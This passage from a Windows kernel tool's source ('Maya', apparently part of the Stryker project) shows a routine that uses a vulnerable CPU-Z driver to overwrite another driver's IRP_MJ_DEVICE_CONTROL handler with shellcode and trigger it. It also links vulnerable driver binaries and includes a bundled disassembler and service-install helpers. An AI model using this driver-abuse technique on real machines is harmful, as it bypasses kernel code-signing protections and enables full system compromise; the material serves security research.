947 | u64tohex((ULONG_PTR)drvObject.MajorFunction[IRP_MJ_DEVICE_CONTROL], _strend(szBuffer));
948 | supPrintText(szBuffer);
949 |
950 | if (drvObject.MajorFunction[IRP_MJ_DEVICE_CONTROL] == NULL) {
951 | supPrintText(TEXT("\r\n[!] Invalid value of IRP_MJ_DEVICE_CONTROL, abort"));
952 | return FALSE;
953 | }
954 |
955 | //
956 | // Check if shellcode can be placed within the same/next physical page(s).
957 | //
958 | Page = ((ULONG_PTR)drvObject.MajorFunction[IRP_MJ_DEVICE_CONTROL] & 0xfffffffffffff000ull);
959 | if (VirtualToPhysical(Page, &physAddressStart) != 0) {
960 |
961 | Page = ((ULONG_PTR)drvObject.MajorFunction[IRP_MJ_DEVICE_CONTROL] + sizeof(SHELLCODE)) & 0xfffffffffffff000ull;
962 | if (VirtualToPhysical(Page, &physAddressEnd) != 0) {
963 |
964 | Address = physAddressEnd - physAddressStart;
965 | if (Address > 4096) {
966 | supPrintText(TEXT("\r\n[!] Invalid physical address, reload victim driver"));
967 | NumberOfAttempts += 1;
968 | if (NumberOfAttempts > 5) {
969 | supPrintText(TEXT("\r\n[!] Too many attempts, abort"));
970 | return FALSE;
971 | }
972 | goto Reload;
973 | }
974 | }
975 | else {
976 | return FALSE;
977 | }
978 | }
979 | else {
980 | return FALSE;
981 | }
982 |
983 | SetupShellCode(lpDriverFileName);
984 |
985 | //
986 | // Write shellcode to driver.
987 | //
988 | if (!cpuz_WriteVirtualMemory((ULONG_PTR)drvObject.MajorFunction[IRP_MJ_DEVICE_CONTROL],
989 | g_ShellCode, sizeof(SHELLCODE)))
990 | {
991 | supPrintText(TEXT("\r\n[!] Error writing shellcode to the target driver, abort"));
992 | return FALSE;
993 | }
994 | else {
995 | supPrintText(TEXT("\r\n[+] Driver IRP_MJ_DEVICE_CONTROL handler code modified"));
996 | }
997 |
998 | //
999 | // Trigger shellcode.
1000 | // Target has the same handlers for IRP_MJ_CREATE/CLOSE/DEVICE_CONTROL
1001 | //
1002 | supPrintText(TEXT("\r\n[+] Triggering shellcode"));
1003 | Sleep(1000);
1004 | scmOpenDevice(MR_PE152, &hObject);
1005 | Sleep(1000);
1006 |
1007 | //
1008 | // Unload victim driver as it no longer needed.
1009 | //
1010 | supPrintText(TEXT("\r\n[+] Unloading victim driver"));
1011 | status = STATUS_UNSUCCESSFUL;
1012 | if (VictimLoadUnload(MR_PE152, szDriverFile, FALSE, TRUE, &status)) {
1013 | supPrintText(TEXT("\r\n[+] Victim driver unloaded"));
1014 | return TRUE;
1015 | }
1016 | else {
1017 | _strcpy(szBuffer, TEXT("\r\n[!] Victim driver unload failed with code 0x"));
1018 | ultostr(status, _strend(szBuffer));
1019 | supPrintText(szBuffer);
1020 | }
1021 | return FALSE;
1022 | }
1023 |
--------------------------------------------------------------------------------
/src/Maya/drvmap.h:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2018
4 | *
5 | * TITLE: DRVMAP.H
6 | *
7 | * VERSION: 1.00
8 | *
9 | * DATE: 10 Feb 2018
10 | *
11 | * Loader support routines.
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 | #pragma once
20 |
21 | BOOL MapDriver(
22 | _In_ LPWSTR lpDriverFileName);
23 |
--------------------------------------------------------------------------------
/src/Maya/drvstore/cpuz141.sys:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hfiref0x/Stryker/fcbc4960069dc1e5f8e68892fa184e5b2b0820c9/src/Maya/drvstore/cpuz141.sys
--------------------------------------------------------------------------------
/src/Maya/drvstore/procexp152.sys:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hfiref0x/Stryker/fcbc4960069dc1e5f8e68892fa184e5b2b0820c9/src/Maya/drvstore/procexp152.sys
--------------------------------------------------------------------------------
/src/Maya/global.h:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2018
4 | *
5 | * TITLE: GLOBAL.H
6 | *
7 | * VERSION: 1.00
8 | *
9 | * DATE: 10 Feb 2018
10 | *
11 | * Global definitions.
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 |
20 | #pragma once
21 |
22 | #if !defined UNICODE
23 | #error ANSI build is not supported
24 | #endif
25 |
26 | #if (_MSC_VER >= 1900)
27 | #ifdef _DEBUG
28 | #pragma comment(lib, "vcruntimed.lib")
29 | #pragma comment(lib, "ucrtd.lib")
30 | #else
31 | #pragma comment(lib, "libvcruntime.lib")
32 | #endif
33 | #endif
34 |
35 | #pragma warning(disable: 4005) // macro redefinition
36 | #pragma warning(disable: 4054) // %s : from function pointer %s to data pointer %s
37 | #pragma warning(disable: 4055) // conversion from data pointer to code
38 | #pragma warning(disable: 4152) // function/data pointer conversion in expression
39 | #pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union
40 |
41 | #include
42 | #include
43 | #include "minirtl\minirtl.h"
44 | #include "minirtl\cmdline.h"
45 | #include "hde\hde64.h"
46 | #include "ntos.h"
47 | #include "sup.h"
48 | #include "instdrv.h"
49 | #include "readwrt.h"
50 | #include "pagewalk.h"
51 | #include "ob.h"
52 | #include "ldr.h"
53 | #include "ps.h"
54 | #include "ci.h"
55 | #include "drvmap.h"
56 | #include "test.h"
57 |
58 | extern HANDLE g_hDevice;
59 | extern ULONG g_NtBuildNumber;
60 |
--------------------------------------------------------------------------------
/src/Maya/hde/hde64.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Hacker Disassembler Engine 64 C
3 | * Copyright (c) 2008-2009, Vyacheslav Patkov.
4 | * All rights reserved.
5 | *
6 | */
7 |
8 | #include "hde64.h"
9 | #include "table64.h"
10 |
11 | #pragma warning(push)
12 | #pragma warning(disable:4701)
13 | #pragma warning(disable:4706)
14 |
15 | unsigned int hde64_disasm(const void *code, hde64s *hs)
16 | {
17 | uint8_t x, c = 0, *p = (uint8_t *)code, cflags, opcode, pref = 0;
18 | uint8_t *ht = hde64_table, m_mod, m_reg, m_rm, disp_size = 0;
19 | uint8_t op64 = 0;
20 |
21 | // Avoid using memset to reduce the footprint.
22 | #ifndef _MSC_VER
23 | memset((LPBYTE)hs, 0, sizeof(hde64s));
24 | #else
25 | __stosb((LPBYTE)hs, 0, sizeof(hde64s));
26 | #endif
27 |
28 | for (x = 16; x; x--)
29 | switch (c = *p++) {
30 | case 0xf3:
31 | hs->p_rep = c;
32 | pref |= PRE_F3;
33 | break;
34 | case 0xf2:
35 | hs->p_rep = c;
36 | pref |= PRE_F2;
37 | break;
38 | case 0xf0:
39 | hs->p_lock = c;
40 | pref |= PRE_LOCK;
41 | break;
42 | case 0x26: case 0x2e: case 0x36:
43 | case 0x3e: case 0x64: case 0x65:
44 | hs->p_seg = c;
45 | pref |= PRE_SEG;
46 | break;
47 | case 0x66:
48 | hs->p_66 = c;
49 | pref |= PRE_66;
50 | break;
51 | case 0x67:
52 | hs->p_67 = c;
53 | pref |= PRE_67;
54 | break;
55 | default:
56 | goto pref_done;
57 | }
58 | pref_done:
59 |
60 | hs->flags = (uint32_t)pref << 23;
61 |
62 | if (!pref)
63 | pref |= PRE_NONE;
64 |
65 | if ((c & 0xf0) == 0x40) {
66 | hs->flags |= F_PREFIX_REX;
67 | if ((hs->rex_w = (c & 0xf) >> 3) && (*p & 0xf8) == 0xb8)
68 | op64++;
69 | hs->rex_r = (c & 7) >> 2;
70 | hs->rex_x = (c & 3) >> 1;
71 | hs->rex_b = c & 1;
72 | if (((c = *p++) & 0xf0) == 0x40) {
73 | opcode = c;
74 | goto error_opcode;
75 | }
76 | }
77 |
78 | if ((hs->opcode = c) == 0x0f) {
79 | hs->opcode2 = c = *p++;
80 | ht += DELTA_OPCODES;
81 | } else if (c >= 0xa0 && c <= 0xa3) {
82 | op64++;
83 | if (pref & PRE_67)
84 | pref |= PRE_66;
85 | else
86 | pref &= ~PRE_66;
87 | }
88 |
89 | opcode = c;
90 | cflags = ht[ht[opcode / 4] + (opcode % 4)];
91 |
92 | if (cflags == C_ERROR) {
93 | error_opcode:
94 | hs->flags |= F_ERROR | F_ERROR_OPCODE;
95 | cflags = 0;
96 | if ((opcode & -3) == 0x24)
97 | cflags++;
98 | }
99 |
100 | x = 0;
101 | if (cflags & C_GROUP) {
102 | uint16_t t;
103 | t = *(uint16_t *)(ht + (cflags & 0x7f));
104 | cflags = (uint8_t)t;
105 | x = (uint8_t)(t >> 8);
106 | }
107 |
108 | if (hs->opcode2) {
109 | ht = hde64_table + DELTA_PREFIXES;
110 | if (ht[ht[opcode / 4] + (opcode % 4)] & pref)
111 | hs->flags |= F_ERROR | F_ERROR_OPCODE;
112 | }
113 |
114 | if (cflags & C_MODRM) {
115 | hs->flags |= F_MODRM;
116 | hs->modrm = c = *p++;
117 | hs->modrm_mod = m_mod = c >> 6;
118 | hs->modrm_rm = m_rm = c & 7;
119 | hs->modrm_reg = m_reg = (c & 0x3f) >> 3;
120 |
121 | if (x && ((x << m_reg) & 0x80))
122 | hs->flags |= F_ERROR | F_ERROR_OPCODE;
123 |
124 | if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) {
125 | uint8_t t = opcode - 0xd9;
126 | if (m_mod == 3) {
127 | ht = hde64_table + DELTA_FPU_MODRM + t*8;
128 | t = ht[m_reg] << m_rm;
129 | } else {
130 | ht = hde64_table + DELTA_FPU_REG;
131 | t = ht[t] << m_reg;
132 | }
133 | if (t & 0x80)
134 | hs->flags |= F_ERROR | F_ERROR_OPCODE;
135 | }
136 |
137 | if (pref & PRE_LOCK) {
138 | if (m_mod == 3) {
139 | hs->flags |= F_ERROR | F_ERROR_LOCK;
140 | } else {
141 | uint8_t *table_end, op = opcode;
142 | if (hs->opcode2) {
143 | ht = hde64_table + DELTA_OP2_LOCK_OK;
144 | table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK;
145 | } else {
146 | ht = hde64_table + DELTA_OP_LOCK_OK;
147 | table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK;
148 | op &= -2;
149 | }
150 | for (; ht != table_end; ht++)
151 | if (*ht++ == op) {
152 | if (!((*ht << m_reg) & 0x80))
153 | goto no_lock_error;
154 | else
155 | break;
156 | }
157 | hs->flags |= F_ERROR | F_ERROR_LOCK;
158 | no_lock_error:
159 | ;
160 | }
161 | }
162 |
163 | if (hs->opcode2) {
164 | switch (opcode) {
165 | case 0x20: case 0x22:
166 | m_mod = 3;
167 | if (m_reg > 4 || m_reg == 1)
168 | goto error_operand;
169 | else
170 | goto no_error_operand;
171 | case 0x21: case 0x23:
172 | m_mod = 3;
173 | if (m_reg == 4 || m_reg == 5)
174 | goto error_operand;
175 | else
176 | goto no_error_operand;
177 | }
178 | } else {
179 | switch (opcode) {
180 | case 0x8c:
181 | if (m_reg > 5)
182 | goto error_operand;
183 | else
184 | goto no_error_operand;
185 | case 0x8e:
186 | if (m_reg == 1 || m_reg > 5)
187 | goto error_operand;
188 | else
189 | goto no_error_operand;
190 | }
191 | }
192 |
193 | if (m_mod == 3) {
194 | uint8_t *table_end;
195 | if (hs->opcode2) {
196 | ht = hde64_table + DELTA_OP2_ONLY_MEM;
197 | table_end = ht + sizeof(hde64_table) - DELTA_OP2_ONLY_MEM;
198 | } else {
199 | ht = hde64_table + DELTA_OP_ONLY_MEM;
200 | table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM;
201 | }
202 | for (; ht != table_end; ht += 2)
203 | if (*ht++ == opcode) {
204 | if (*ht++ & pref && !((*ht << m_reg) & 0x80))
205 | goto error_operand;
206 | else
207 | break;
208 | }
209 | goto no_error_operand;
210 | } else if (hs->opcode2) {
211 | switch (opcode) {
212 | case 0x50: case 0xd7: case 0xf7:
213 | if (pref & (PRE_NONE | PRE_66))
214 | goto error_operand;
215 | break;
216 | case 0xd6:
217 | if (pref & (PRE_F2 | PRE_F3))
218 | goto error_operand;
219 | break;
220 | case 0xc5:
221 | goto error_operand;
222 | }
223 | goto no_error_operand;
224 | } else
225 | goto no_error_operand;
226 |
227 | error_operand:
228 | hs->flags |= F_ERROR | F_ERROR_OPERAND;
229 | no_error_operand:
230 |
231 | c = *p++;
232 | if (m_reg <= 1) {
233 | if (opcode == 0xf6)
234 | cflags |= C_IMM8;
235 | else if (opcode == 0xf7)
236 | cflags |= C_IMM_P66;
237 | }
238 |
239 | switch (m_mod) {
240 | case 0:
241 | if (pref & PRE_67) {
242 | if (m_rm == 6)
243 | disp_size = 2;
244 | } else
245 | if (m_rm == 5)
246 | disp_size = 4;
247 | break;
248 | case 1:
249 | disp_size = 1;
250 | break;
251 | case 2:
252 | disp_size = 2;
253 | if (!(pref & PRE_67))
254 | disp_size <<= 1;
255 | }
256 |
257 | if (m_mod != 3 && m_rm == 4) {
258 | hs->flags |= F_SIB;
259 | p++;
260 | hs->sib = c;
261 | hs->sib_scale = c >> 6;
262 | hs->sib_index = (c & 0x3f) >> 3;
263 | if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1))
264 | disp_size = 4;
265 | }
266 |
267 | p--;
268 | switch (disp_size) {
269 | case 1:
270 | hs->flags |= F_DISP8;
271 | hs->disp.disp8 = *p;
272 | break;
273 | case 2:
274 | hs->flags |= F_DISP16;
275 | hs->disp.disp16 = *(uint16_t *)p;
276 | break;
277 | case 4:
278 | hs->flags |= F_DISP32;
279 | hs->disp.disp32 = *(uint32_t *)p;
280 | }
281 | p += disp_size;
282 | } else if (pref & PRE_LOCK)
283 | hs->flags |= F_ERROR | F_ERROR_LOCK;
284 |
285 | if (cflags & C_IMM_P66) {
286 | if (cflags & C_REL32) {
287 | if (pref & PRE_66) {
288 | hs->flags |= F_IMM16 | F_RELATIVE;
289 | hs->imm.imm16 = *(uint16_t *)p;
290 | p += 2;
291 | goto disasm_done;
292 | }
293 | goto rel32_ok;
294 | }
295 | if (op64) {
296 | hs->flags |= F_IMM64;
297 | hs->imm.imm64 = *(uint64_t *)p;
298 | p += 8;
299 | } else if (!(pref & PRE_66)) {
300 | hs->flags |= F_IMM32;
301 | hs->imm.imm32 = *(uint32_t *)p;
302 | p += 4;
303 | } else
304 | goto imm16_ok;
305 | }
306 |
307 |
308 | if (cflags & C_IMM16) {
309 | imm16_ok:
310 | hs->flags |= F_IMM16;
311 | hs->imm.imm16 = *(uint16_t *)p;
312 | p += 2;
313 | }
314 | if (cflags & C_IMM8) {
315 | hs->flags |= F_IMM8;
316 | hs->imm.imm8 = *p++;
317 | }
318 |
319 | if (cflags & C_REL32) {
320 | rel32_ok:
321 | hs->flags |= F_IMM32 | F_RELATIVE;
322 | hs->imm.imm32 = *(uint32_t *)p;
323 | p += 4;
324 | } else if (cflags & C_REL8) {
325 | hs->flags |= F_IMM8 | F_RELATIVE;
326 | hs->imm.imm8 = *p++;
327 | }
328 |
329 | disasm_done:
330 |
331 | if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) {
332 | hs->flags |= F_ERROR | F_ERROR_LENGTH;
333 | hs->len = 15;
334 | }
335 |
336 | return (unsigned int)hs->len;
337 | }
338 | #pragma warning(pop)
339 |
--------------------------------------------------------------------------------
/src/Maya/hde/hde64.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Hacker Disassembler Engine 64
3 | * Copyright (c) 2008-2009, Vyacheslav Patkov.
4 | * All rights reserved.
5 | *
6 | * hde64.h: C/C++ header file
7 | *
8 | */
9 |
10 | #ifndef _HDE64_H_
11 | #define _HDE64_H_
12 |
13 | /* stdint.h - C99 standard header
14 | * http://en.wikipedia.org/wiki/stdint.h
15 | *
16 | * if your compiler doesn't contain "stdint.h" header (for
17 | * example, Microsoft Visual C++), you can download file:
18 | * http://www.azillionmonkeys.com/qed/pstdint.h
19 | * and change next line to:
20 | * #include "pstdint.h"
21 | */
22 | #include "pstdint.h"
23 |
24 | #define F_MODRM 0x00000001
25 | #define F_SIB 0x00000002
26 | #define F_IMM8 0x00000004
27 | #define F_IMM16 0x00000008
28 | #define F_IMM32 0x00000010
29 | #define F_IMM64 0x00000020
30 | #define F_DISP8 0x00000040
31 | #define F_DISP16 0x00000080
32 | #define F_DISP32 0x00000100
33 | #define F_RELATIVE 0x00000200
34 | #define F_ERROR 0x00001000
35 | #define F_ERROR_OPCODE 0x00002000
36 | #define F_ERROR_LENGTH 0x00004000
37 | #define F_ERROR_LOCK 0x00008000
38 | #define F_ERROR_OPERAND 0x00010000
39 | #define F_PREFIX_REPNZ 0x01000000
40 | #define F_PREFIX_REPX 0x02000000
41 | #define F_PREFIX_REP 0x03000000
42 | #define F_PREFIX_66 0x04000000
43 | #define F_PREFIX_67 0x08000000
44 | #define F_PREFIX_LOCK 0x10000000
45 | #define F_PREFIX_SEG 0x20000000
46 | #define F_PREFIX_REX 0x40000000
47 | #define F_PREFIX_ANY 0x7f000000
48 |
49 | #define PREFIX_SEGMENT_CS 0x2e
50 | #define PREFIX_SEGMENT_SS 0x36
51 | #define PREFIX_SEGMENT_DS 0x3e
52 | #define PREFIX_SEGMENT_ES 0x26
53 | #define PREFIX_SEGMENT_FS 0x64
54 | #define PREFIX_SEGMENT_GS 0x65
55 | #define PREFIX_LOCK 0xf0
56 | #define PREFIX_REPNZ 0xf2
57 | #define PREFIX_REPX 0xf3
58 | #define PREFIX_OPERAND_SIZE 0x66
59 | #define PREFIX_ADDRESS_SIZE 0x67
60 |
61 | #pragma pack(push,1)
62 |
63 | typedef struct {
64 | uint8_t len;
65 | uint8_t p_rep;
66 | uint8_t p_lock;
67 | uint8_t p_seg;
68 | uint8_t p_66;
69 | uint8_t p_67;
70 | uint8_t rex;
71 | uint8_t rex_w;
72 | uint8_t rex_r;
73 | uint8_t rex_x;
74 | uint8_t rex_b;
75 | uint8_t opcode;
76 | uint8_t opcode2;
77 | uint8_t modrm;
78 | uint8_t modrm_mod;
79 | uint8_t modrm_reg;
80 | uint8_t modrm_rm;
81 | uint8_t sib;
82 | uint8_t sib_scale;
83 | uint8_t sib_index;
84 | uint8_t sib_base;
85 | union {
86 | uint8_t imm8;
87 | uint16_t imm16;
88 | uint32_t imm32;
89 | uint64_t imm64;
90 | } imm;
91 | union {
92 | uint8_t disp8;
93 | uint16_t disp16;
94 | uint32_t disp32;
95 | } disp;
96 | uint32_t flags;
97 | } hde64s;
98 |
99 | #pragma pack(pop)
100 |
101 | #ifdef __cplusplus
102 | extern "C" {
103 | #endif
104 |
105 | /* __cdecl */
106 | unsigned int hde64_disasm(const void *code, hde64s *hs);
107 |
108 | #ifdef __cplusplus
109 | }
110 | #endif
111 |
112 | #endif /* _HDE64_H_ */
113 |
--------------------------------------------------------------------------------
/src/Maya/hde/pstdint.h:
--------------------------------------------------------------------------------
1 | /*
2 | * MinHook - The Minimalistic API Hooking Library for x64/x86
3 | * Copyright (C) 2009-2015 Tsuda Kageyu. All rights reserved.
4 | *
5 | * Redistribution and use in source and binary forms, with or without
6 | * modification, are permitted provided that the following conditions
7 | * are met:
8 | *
9 | * 1. Redistributions of source code must retain the above copyright
10 | * notice, this list of conditions and the following disclaimer.
11 | * 2. Redistributions in binary form must reproduce the above copyright
12 | * notice, this list of conditions and the following disclaimer in the
13 | * documentation and/or other materials provided with the distribution.
14 | *
15 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
16 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
17 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
18 | * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
19 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
20 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
21 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
22 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
23 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
24 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
25 | */
26 |
27 | #pragma once
28 |
29 | #include
30 |
31 | // Integer types for HDE.
32 | typedef INT8 int8_t;
33 | typedef INT16 int16_t;
34 | typedef INT32 int32_t;
35 | typedef INT64 int64_t;
36 | typedef UINT8 uint8_t;
37 | typedef UINT16 uint16_t;
38 | typedef UINT32 uint32_t;
39 | typedef UINT64 uint64_t;
40 |
--------------------------------------------------------------------------------
/src/Maya/hde/table64.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Hacker Disassembler Engine 64 C
3 | * Copyright (c) 2008-2009, Vyacheslav Patkov.
4 | * All rights reserved.
5 | *
6 | */
7 |
8 | #define C_NONE 0x00
9 | #define C_MODRM 0x01
10 | #define C_IMM8 0x02
11 | #define C_IMM16 0x04
12 | #define C_IMM_P66 0x10
13 | #define C_REL8 0x20
14 | #define C_REL32 0x40
15 | #define C_GROUP 0x80
16 | #define C_ERROR 0xff
17 |
18 | #define PRE_ANY 0x00
19 | #define PRE_NONE 0x01
20 | #define PRE_F2 0x02
21 | #define PRE_F3 0x04
22 | #define PRE_66 0x08
23 | #define PRE_67 0x10
24 | #define PRE_LOCK 0x20
25 | #define PRE_SEG 0x40
26 | #define PRE_ALL 0xff
27 |
28 | #define DELTA_OPCODES 0x4a
29 | #define DELTA_FPU_REG 0xfd
30 | #define DELTA_FPU_MODRM 0x104
31 | #define DELTA_PREFIXES 0x13c
32 | #define DELTA_OP_LOCK_OK 0x1ae
33 | #define DELTA_OP2_LOCK_OK 0x1c6
34 | #define DELTA_OP_ONLY_MEM 0x1d8
35 | #define DELTA_OP2_ONLY_MEM 0x1e7
36 |
37 | unsigned char hde64_table[] = {
38 | 0xa5,0xaa,0xa5,0xb8,0xa5,0xaa,0xa5,0xaa,0xa5,0xb8,0xa5,0xb8,0xa5,0xb8,0xa5,
39 | 0xb8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xac,0xc0,0xcc,0xc0,0xa1,0xa1,
40 | 0xa1,0xa1,0xb1,0xa5,0xa5,0xa6,0xc0,0xc0,0xd7,0xda,0xe0,0xc0,0xe4,0xc0,0xea,
41 | 0xea,0xe0,0xe0,0x98,0xc8,0xee,0xf1,0xa5,0xd3,0xa5,0xa5,0xa1,0xea,0x9e,0xc0,
42 | 0xc0,0xc2,0xc0,0xe6,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0xab,
43 | 0x8b,0x90,0x64,0x5b,0x5b,0x5b,0x5b,0x5b,0x92,0x5b,0x5b,0x76,0x90,0x92,0x92,
44 | 0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x6a,0x73,0x90,
45 | 0x5b,0x52,0x52,0x52,0x52,0x5b,0x5b,0x5b,0x5b,0x77,0x7c,0x77,0x85,0x5b,0x5b,
46 | 0x70,0x5b,0x7a,0xaf,0x76,0x76,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,
47 | 0x5b,0x5b,0x86,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xd5,0x03,0xcc,0x01,0xbc,
48 | 0x03,0xf0,0x03,0x03,0x04,0x00,0x50,0x50,0x50,0x50,0xff,0x20,0x20,0x20,0x20,
49 | 0x01,0x01,0x01,0x01,0xc4,0x02,0x10,0xff,0xff,0xff,0x01,0x00,0x03,0x11,0xff,
50 | 0x03,0xc4,0xc6,0xc8,0x02,0x10,0x00,0xff,0xcc,0x01,0x01,0x01,0x00,0x00,0x00,
51 | 0x00,0x01,0x01,0x03,0x01,0xff,0xff,0xc0,0xc2,0x10,0x11,0x02,0x03,0x01,0x01,
52 | 0x01,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0x00,0x00,0xff,0xff,0xff,0xff,0x10,
53 | 0x10,0x10,0x10,0x02,0x10,0x00,0x00,0xc6,0xc8,0x02,0x02,0x02,0x02,0x06,0x00,
54 | 0x04,0x00,0x02,0xff,0x00,0xc0,0xc2,0x01,0x01,0x03,0x03,0x03,0xca,0x40,0x00,
55 | 0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,0x00,0x00,0x00,
56 | 0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0xff,0x00,
57 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,
58 | 0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00,
59 | 0xff,0x40,0x40,0x40,0x40,0x41,0x49,0x40,0x40,0x40,0x40,0x4c,0x42,0x40,0x40,
60 | 0x40,0x40,0x40,0x40,0x40,0x40,0x4f,0x44,0x53,0x40,0x40,0x40,0x44,0x57,0x43,
61 | 0x5c,0x40,0x60,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,
62 | 0x40,0x40,0x64,0x66,0x6e,0x6b,0x40,0x40,0x6a,0x46,0x40,0x40,0x44,0x46,0x40,
63 | 0x40,0x5b,0x44,0x40,0x40,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x06,0x01,0x06,
64 | 0x06,0x02,0x06,0x06,0x00,0x06,0x00,0x0a,0x0a,0x00,0x00,0x00,0x02,0x07,0x07,
65 | 0x06,0x02,0x0d,0x06,0x06,0x06,0x0e,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04,
66 | 0x04,0x04,0x05,0x06,0x06,0x06,0x00,0x00,0x00,0x0e,0x00,0x00,0x08,0x00,0x10,
67 | 0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,0x86,0x00,
68 | 0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,0xf8,0xbb,
69 | 0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,0xc4,0xff,
70 | 0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,0x13,0x09,
71 | 0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,0xb2,0xff,
72 | 0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,0xe7,0x08,
73 | 0x00,0xf0,0x02,0x00
74 | };
75 |
--------------------------------------------------------------------------------
/src/Maya/instdrv.c:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2015 - 2017, portions (C) Mark Russinovich, FileMon
4 | *
5 | * TITLE: INSTDRV.C
6 | *
7 | * VERSION: 1.50
8 | *
9 | * DATE: 11 July 2017
10 | *
11 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
12 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
13 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
14 | * PARTICULAR PURPOSE.
15 | *
16 | *******************************************************************************/
17 | #include "global.h"
18 |
19 | /*
20 | * scmInstallDriver
21 | *
22 | * Purpose:
23 | *
24 | * Create SCM service entry describing kernel driver.
25 | *
26 | */
27 | BOOL scmInstallDriver(
28 | _In_ SC_HANDLE SchSCManager,
29 | _In_ LPCTSTR DriverName,
30 | _In_opt_ LPCTSTR ServiceExe
31 | )
32 | {
33 | SC_HANDLE schService;
34 |
35 | schService = CreateService(SchSCManager, // SCManager database
36 | DriverName, // name of service
37 | DriverName, // name to display
38 | SERVICE_ALL_ACCESS, // desired access
39 | SERVICE_KERNEL_DRIVER, // service type
40 | SERVICE_DEMAND_START, // start type
41 | SERVICE_ERROR_NORMAL, // error control type
42 | ServiceExe, // service's binary
43 | NULL, // no load ordering group
44 | NULL, // no tag identifier
45 | NULL, // no dependencies
46 | NULL, // LocalSystem account
47 | NULL // no password
48 | );
49 | if (schService == NULL) {
50 | return FALSE;
51 | }
52 |
53 | CloseServiceHandle(schService);
54 | return TRUE;
55 | }
56 |
57 | /*
58 | * scmStartDriver
59 | *
60 | * Purpose:
61 | *
62 | * Start service, resulting in SCM drvier load.
63 | *
64 | */
65 | BOOL scmStartDriver(
66 | _In_ SC_HANDLE SchSCManager,
67 | _In_ LPCTSTR DriverName
68 | )
69 | {
70 | SC_HANDLE schService;
71 | BOOL ret;
72 |
73 | schService = OpenService(SchSCManager,
74 | DriverName,
75 | SERVICE_ALL_ACCESS
76 | );
77 | if (schService == NULL)
78 | return FALSE;
79 |
80 | ret = StartService(schService, 0, NULL)
